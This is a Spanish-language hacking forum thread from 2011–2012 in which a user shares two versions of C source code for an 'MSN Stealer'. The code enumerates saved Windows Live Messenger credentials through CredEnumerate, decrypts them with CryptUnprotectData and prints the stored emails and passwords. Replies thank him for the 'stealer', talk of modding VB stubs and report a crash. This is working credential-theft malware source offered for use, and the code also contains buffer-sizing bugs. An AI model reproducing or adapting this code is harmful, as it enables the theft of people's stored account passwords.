Página 1 de 1

MSN Stealer

Publicado: 26 Dic 2011, 05:18
por linkgl
Buenas indetectables, pues esta tarde me dio curiosidad ver cómo sacar el password del msn cuando marcas la casilla de recordar password, para esto me baje un stealer en vb (con eso de que nada se hace en vb), me di cuenta que no entendía ni un choto de cómo extraía la pass, así que estuve investigando y viendo algunas apis de la msdn y estructuras para ver cómo funciona esto, al final logré pasar la función de vb a C para obtener el user y pass del msn, por lo que no me puedo llevar todos los créditos de esta función aun así la mayor parte del código es mía solo miré el módulo de vb donde hace unos call's asi masomenos a writeprocessmemory(-1, ByVal VarPtr(lPtr), ByVal lCred + i * 4, &H4, 0), pues no entendía el porqué de las constantes *4 + x etcétera, sin emargo el módulo no cuenta con el nombre de autor por lo que no sé quien descubrió el método pero gracias a esa persona y bueno después de 4 horas liado con los punteros como cuando quitas las luces navideñas salió el código.

Lo intenté comentar lo más sencillo que pude y bueno devuelve msn+passwords pegados en un puntero a cadena (LPSTR o char *)
sin más que decir, mi traducción
Código nuevo:

Código: Seleccionar todo

#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
//Stealer MSN C - Linkgl
//Definimos las p#$%&tas apis
typedef BOOL (WINAPI *_CredEnumerate)(
   LPCTSTR Filter,
   DWORD Flags,
   DWORD *Count,
   LONG **Credentials
);

typedef BOOL (WINAPI *_CryptUnprotectData)(
  DATA_BLOB *pDataIn,
  LPWSTR *ppszDataDescr,
  DATA_BLOB *pOptionalEntropy,
  PVOID pvReserved,
  LONG *pPromptStruct,
  DWORD dwFlags,
  DATA_BLOB *pDataOut
);
//variables y estrucctura data blob
LONG ptr_credenciales;
LONG ptr_numero;
LONG ptr;
char *app={"WindowsLive:name=*"};
CRYPT_INTEGER_BLOB dtb;
//Devuelve el número de credenciales existentes
int cred(){
  _CredEnumerate __CredEnumerate = NULL;
  __CredEnumerate = (_CredEnumerate)GetProcAddress(LoadLibrary("Advapi32.dll"), "CredEnumerateA");
  __CredEnumerate(app,0,&ptr_numero,&ptr_credenciales);
  return ptr_numero;
}

char * msn(int i)
{
  // No me hago responsable por el uso que se le de a la funcion
  // Thanks to a vbmodule (doesn't have the name of the coder)
  // and msdn
  LONG usr;
  int o;
  char *temp; 
  char *temp_user; 
  int tam_user;
  char *user;
  BOOL check;
  //Sacamos las apis de las dll
  _CredEnumerate __CredEnumerate = NULL;
  __CredEnumerate = (_CredEnumerate)GetProcAddress(LoadLibrary("Advapi32.dll"), "CredEnumerateA");
  _CryptUnprotectData __CryptUnprotectData = NULL;
  __CryptUnprotectData = (_CryptUnprotectData)GetProcAddress(LoadLibrary("Crypt32.dll"), "CryptUnprotectData");
  //Sacamos las credenciales SOLO de windowslive
  //y las almacenamos en un puntero que apunta a un array de punteros XD
  check=__CredEnumerate(app,0,&ptr_numero,&ptr_credenciales);
  if(__CredEnumerate==FALSE)
  {
     return NULL;
  }
  else
  {
      //aca movemos la direccion de las credenciales al puntero
      memcpy(&ptr,ptr_credenciales+i*4,0x4);
      //sacamos el msn
      memcpy(&usr,ptr+48,0x4);
      //rellenamos la estructura DATA BLOB (con el pass encryptado)
      memcpy(&dtb.pbData,ptr+28,0x4);
      memcpy(&dtb.cbData,ptr+24,0x4);
      //desencriptamos los datos de la estructura (ver msdn :P)
      __CryptUnprotectData(&dtb,0,0,0,0,1,0);
      //reservamos el tamaño del pass
      //la estructura contiene la pass y el tamaño*2
      //tonses la dividimos xDD
      temp=(char *)malloc(dtb.cbData/2);
      memset(temp,0,dtb.cbData/2+1);
     
      //copiamos el primer caracter de la pass
     
      memcpy(&temp[0],&dtb.pbData[0],1);
      //bucle del 2do caracter al ultimo
      for(o=1;o<dtb.cbData/2;o++)
      {
        //copiamos la pass caracter x caracter
        //saltando 1 byte nulo
        memcpy(&temp[o],&dtb.pbData[o*2],1);
      }
      //sacamos el tamaño del user
      tam_user=lstrlen(usr);
      //reservamos la ultima cadena del tamaño del user + la pass
      temp_user=(char *)malloc(tam_user+dtb.cbData/2+1);
      memset(temp_user,0,tam_user+dtb.cbData/2+1);
      //copiamos el correo
      memcpy(temp_user,usr,tam_user);
      //bucle para pegar el user y pass
      for(o=tam_user;o<tam_user+dtb.cbData/2;o++)
      {
        //pegamos la pass al final del correo
        memcpy(&temp_user[o],&temp[o - tam_user],1);
      }
      //retornamos user + pass
    }
  return temp_user;
}

int main()
{
  /*
   La función cred() devuelve el número de credenciales existentes en la pc
   La función msn(i) devuelve las credenciales del id específico con la siguiente estructura
   [email protected]
   Un ejemplo para extraer todos los correos y contrasñeas guardadas de
   Windows live messenger:
    */
  int c;
  for(c=0;c<cred();c++)
    printf("- %s - ",msn(c));
  getchar();
  /*
    Saludos
      Linkgl */
  return 0;
}
Código anterior

Código: Seleccionar todo

#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
//Definimos las p#$%&tas apis 
typedef BOOL (WINAPI *_CredEnumerate)(
   LPCTSTR Filter,
   DWORD Flags,
   DWORD *Count,
   LONG **Credentials
);

typedef BOOL (WINAPI *_CryptUnprotectData)(
  DATA_BLOB *pDataIn,
  LPWSTR *ppszDataDescr,
  DATA_BLOB *pOptionalEntropy,
  PVOID pvReserved,
  LONG *pPromptStruct,
  DWORD dwFlags,
  DATA_BLOB *pDataOut
);

char * msn()
{
  // FUNCION DE EXTRACCION DE CREDENCIALES DE MSN
  // TRADUCIDO Y EXTENDIDO POR Linkgl
  // No me hago responsable por el uso que se le de a la funcion
  // Thanks to a vbmodule (doesn't have the name of the coder)
  // and msdn
  //Estructura DATA BLOB y variables que almacenaran direcciones de memoria
  CRYPT_INTEGER_BLOB dtb;
  int i;
  LONG ptr_credenciales;
  LONG ptr_numero;
  LONG ptr;
  LONG usr;

  char *user;
  BOOL check;
  //key
  char *app={"WindowsLive:name=*"};
  //Sacamos las apis de las dll 
  _CredEnumerate __CredEnumerate = NULL;
  __CredEnumerate = (_CredEnumerate)GetProcAddress(LoadLibrary("Advapi32.dll"), "CredEnumerateA");
  _CryptUnprotectData __CryptUnprotectData = NULL;
  __CryptUnprotectData = (_CryptUnprotectData)GetProcAddress(LoadLibrary("Crypt32.dll"), "CryptUnprotectData");
  //Sacamos las credenciales de windowslive 
  //y las almacenamos en un puntero que apunta a un array de punteros XD 
  check=__CredEnumerate(app,0,&ptr_numero,&ptr_credenciales);
  if(__CredEnumerate==FALSE)
  {
     return NULL;
  }
  else
  {
    //Hacemos un bucle hasta sacar todas las credenciales existentes
    for(i=0;i<=ptr_numero-1;i++)
    {
      int o;
      char *temp;  
      char *temp_user;  
      int tam_user;
      //aca movemos la direccion de las credenciales al puntero
      memcpy(&ptr,ptr_credenciales+i*4,0x4);
      //sacamos el msn
      memcpy(&usr,ptr+48,0x4);
      //rellenamos la estructura DATA BLOB (con el pass encryptado)
      memcpy(&dtb.pbData,ptr+28,0x4);
      memcpy(&dtb.cbData,ptr+24,0x4);
      //desencriptamos los datos de la estructura (ver msdn :P)
      __CryptUnprotectData(&dtb,0,0,0,0,1,0);
      //reservamos el tamaño del pass
      //la estructura contiene la pass y el tamaño*2
      //tonses la dividimos xDD
      temp=(char *)malloc(dtb.cbData/2);
      memset(temp,0,dtb.cbData/2+1); 
      
      //copiamos el primer caracter de la pass
      
      memcpy(&temp[0],&dtb.pbData[0],1);
      //bucle del 2do caracter al ultimo
      for(o=1;o<dtb.cbData/2;o++)
      {
        //copiamos la pass caracter x caracter
        //saltando 1 byte nulo
        memcpy(&temp[o],&dtb.pbData[o*2],1);
      }
      //sacamos el tamaño del user
      tam_user=lstrlen(usr);
      //reservamos la ultima cadena del tamaño del user + la pass
      temp_user=(char *)malloc(tam_user+dtb.cbData/2+1);
      memset(temp_user,0,tam_user+dtb.cbData/2+1);
      //copiamos el correo
      memcpy(temp_user,usr,tam_user);
      //bucle para pegar el user y pass
      for(o=tam_user;o<tam_user+dtb.cbData/2;o++)
      {
        //pegamos la pass al final del correo
        memcpy(&temp_user[o],&temp[o - tam_user],1);
      }
      //retornamos user + pass
      return temp_user;
    }
  }
}

int main()
{
  printf("%s",msn());
  getchar();
  return 0;
}

Re: MSN Stealer

Publicado: 26 Dic 2011, 21:45
por KHC
Lindo codigo linkgl te fulicito hermano! Hace tiempo tambien vi algunos source de stealers y lo que hacian es que desencirptaban el password que se quedaba en una clave de resgitro, pero estaba en la version 8 creo del messenger ahora creo que ya es windowslivemessenger y cambio la cosa! Saludos!

Re: MSN Stealer

Publicado: 26 Dic 2011, 21:53
por linkgl
Jeje que tal bro!, pues de esta forma funciona en la versión actual la probé bajo win 7 y va sin problemas.

Re: MSN Stealer

Publicado: 26 Dic 2011, 22:08
por xxxPoseidonxxx
Gran Implemento !No tengo ni idea de C/C++ Pero es un esfuerzo muy valorable

Re: MSN Stealer

Publicado: 27 Dic 2011, 04:55
por linkgl
Haha pronto me haré unas tools en C para que se vayan des-acostumbrando a moddear stubs en VB haha

Re: MSN Stealer

Publicado: 27 Dic 2011, 05:49
por xxxPoseidonxxx
linkgl escribió:Haha pronto me haré unas tools en C para que se vayan des-acostumbrando a moddear stubs en VB haha

jajajajja

Re: MSN Stealer

Publicado: 27 Dic 2011, 16:23
por apeiron
Muuuuuy bueno gracias !!

Re: MSN Stealer

Publicado: 27 Dic 2011, 18:48
por pasanomas
De lujo un stealer en C , gracias por compartir amigo

Re: MSN Stealer

Publicado: 09 Ene 2012, 22:36
por linkgl
Corregí el código añadiendo una función para poder manipular cada credencial, creo que la mejoraré para que devuelva un puntero a un array de punteros

Re: MSN Stealer

Publicado: 10 Ene 2012, 00:56
por m4rtyr
muy bueno el codigo :)
saludos

Re: MSN Stealer

Publicado: 12 Ene 2012, 16:03
por ØnLy
Lindo codigo me gusto , lo estudio y me desoxisido de a poco! xD

Re: MSN Stealer

Publicado: 18 Jun 2012, 20:12
por adwind
Cuando se tiene una sola cuenta va perfecto, pero cuando va de 2 a mas deja de funcionar el programa en esta linea
temp_user=(char *)malloc(tam_user+dtb.cbData/2+1);

:S

Re: MSN Stealer

Publicado: 29 Jun 2012, 21:05
por linkgl
probaste el código nuevo?